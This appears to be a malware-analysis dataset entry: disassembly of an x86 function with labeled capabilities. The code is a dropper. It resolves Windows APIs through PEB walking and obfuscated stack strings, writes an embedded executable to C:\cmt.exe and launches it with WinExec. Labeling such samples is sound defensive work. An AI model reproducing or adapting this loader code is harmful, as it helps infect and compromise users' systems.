Function at 0x408000
Capabilities:
Accept command line arguments
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Contain obfuscated stackstrings
Copy file
Delete file
Get common file path
Get file attributes
Resolve function by parsing pe exports
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
push ebx
and dword [ebp - 0x30], 0
and dword [ebp - 8], 0
and dword [ebp - 0x28], 0
xor eax, eax
mov word [ebp - 0x34], ax
and dword [ebp - 0x20], 0
and dword [ebp - 0x14], 0
and dword [ebp - 0x1c], 0
and dword [ebp - 0xc], 0
or dword [ebp - 0x24], 0xffffffff
and dword [ebp - 0x2c], 0
and dword [ebp - 0x38], 0
and dword [ebp - 0x18], 0
and dword [ebp - 0x10], 0
and dword [ebp - 4], 0
mov dword [ebp - 0x54], 0x41636f72
nop
nop
nop
mov eax, 0x2f
inc eax
push dword fs:[eax]
pop ebx
mov dword [ebp - 0x20], ebx
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x58], 0x50746547
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x4c], 0x7373
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0xc]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 0x50], 0x65726464
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x28], ecx
and dword [ebp - 0x5c], 0
jmp 0x4080c8
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x5c]
cmp ecx, dword [eax + 0x18]
jae 0x40815e
mov dword [ebp - 0x68], 1
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0xc]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x64], edx
lea eax, [ebp - 0x58]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x60]
movsx eax, byte [eax]
test eax, eax
je 0x408123
mov eax, dword [ebp - 0x60]
movsx eax, byte [eax]
mov ecx, dword [ebp - 0x64]
movsx ecx, byte [ecx]
cmp eax, ecx
je 0x408113
and dword [ebp - 0x68], 0
jmp 0x408123
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
jmp 0x4080f3
cmp dword [ebp - 0x68], 1
jne 0x408159
mov eax, dword [ebp - 0x64]
movsx eax, byte [eax]
test eax, eax
jne 0x408159
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x28]
mov ax, word [ecx + eax*2]
mov word [ebp - 0x34], ax
movzx eax, word [ebp - 0x34]
mov ecx, dword [ebp - 8]
mov eax, dword [ecx + eax*4]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov dword [ebp - 0x2c], eax
jmp 0x40815e
jmp 0x4080c1
mov dword [ebp - 0x58], 0x456e6957
mov dword [ebp - 0x54], 0x636578
lea eax, [ebp - 0x58]
push eax
push dword [ebp - 0xc]
call dword [ebp - 0x2c]
mov dword [ebp - 4], eax
nop
mov dword [ebp - 0x58], 0x74697257
mov dword [ebp - 0x54], 0x6c694665
mov dword [ebp - 0x50], 0x65
nop
lea eax, [ebp - 0x58]
push eax
push dword [ebp - 0xc]
call dword [ebp - 0x2c]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x58], 0x61657243
mov dword [ebp - 0x54], 0x69466574
mov dword [ebp - 0x50], 0x41656c
lea eax, [ebp - 0x58]
push eax
push dword [ebp - 0xc]
call dword [ebp - 0x2c]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x58], 0x736f6c43
mov dword [ebp - 0x54], 0x6e614865
nop
mov dword [ebp - 0x50], 0x656c64
lea eax, [ebp - 0x58]
push eax
push dword [ebp - 0xc]
call dword [ebp - 0x2c]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x58], 0x635c3a43
mov dword [ebp - 0x54], 0x652e746d
mov dword [ebp - 0x50], 0x6578
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x58]
push eax
call dword [ebp - 0x38]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffff
je 0x408290
and dword [ebp - 0x6c], 0
call 0x408222
pop eax
mov dword [ebp - 0x6c], eax
and dword [ebp - 0x70], 0
jmp 0x408233
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0x1f4
jge 0x408290
mov eax, dword [ebp - 0x6c]
movsx eax, byte [eax]
cmp eax, 0x4d
jne 0x408287
mov eax, dword [ebp - 0x6c]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x408287
mov eax, dword [ebp - 0x6c]
movzx eax, word [eax + 2]
cmp eax, 0x90
jne 0x408287
push 0
lea eax, [ebp - 8]
push eax
push 0x15111
push dword [ebp - 0x6c]
push dword [ebp - 0x24]
call dword [ebp - 0x18]
push dword [ebp - 0x24]
call dword [ebp - 0x10]
push 5
lea eax, [ebp - 0x58]
push eax
call dword [ebp - 4]
jmp 0x408290
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
jmp 0x40822c
pop ebx
leave
add esp, 4
jmp 0x401a50